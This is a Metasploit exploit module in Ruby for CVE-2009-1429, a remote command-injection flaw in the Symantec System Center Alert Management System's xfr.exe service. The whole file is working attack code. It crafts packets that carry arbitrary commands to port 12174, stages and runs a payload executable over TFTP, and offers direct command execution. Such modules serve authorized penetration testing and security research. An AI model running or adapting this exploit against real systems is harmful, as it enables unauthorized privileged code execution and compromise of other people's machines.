##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::CmdStager
  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Symantec System Center Alert Management System (xfr.exe) Arbitrary Command Execution',
      'Description'    => %q{
          Symantec System Center Alert Management System is prone to a remote command-injection vulnerability
          because the application fails to properly sanitize user-supplied input.
      },
      'Author'         => [ 'MC' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2009-1429' ],
          [ 'BID', '34671' ],
          [ 'OSVDB', '54157' ],
          [ 'ZDI', '09-060' ],
          [ 'URL', 'http://www.symantec.com/business/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&suid=20090428_02' ]
        ],
      'Targets'       =>
        [
          [ 'Windows Universal',
            {
              'Arch' => ARCH_X86,
              'Platform' => 'win'
            }
          ]
        ],
      'CmdStagerFlavor' => 'tftp',
      'Privileged' => true,
      'Platform' => 'win',
      'DefaultTarget' => 0,
      'DisclosureDate' => 'Apr 28 2009'))

    register_options(
      [
        Opt::RPORT(12174),
        OptString.new('CMD', [ false, 'Execute this command instead of using command stager', ""]),
      ])
  end

  def windows_stager

    exe_fname = rand_text_alphanumeric(4+rand(4)) + ".exe"

    print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}")
    execute_cmdstager({ :temp => '.', :cgifname => exe_fname })
    @payload_exe = generate_payload_exe

    print_status("Attempting to execute the payload...")
    execute_command(@payload_exe)

  end

  def execute_command(cmd, opts = {})

    connect

      len  = 2 + cmd.length

      data =  [0x00000000].pack('V')
      data << len.chr
      data << "\x00"
      data << cmd + " "
      data << "\x00"

      sock.put(data)

      res = sock.get_once

        if (!res)
          print_error("Did not received data. Failed?")
        else
          print_good("Got data, execution successful!")
        end

    disconnect

  end

  def exploit
    unless datastore['CMD'].blank?
      print_status("Executing command '#{datastore['CMD']}'")
      execute_command(datastore['CMD'])
      return
    end

    case target['Platform']
      when 'win'
        windows_stager
      else
        fail_with(Failure::Unknown, 'Target not supported.')
    end

    handler

  end
end
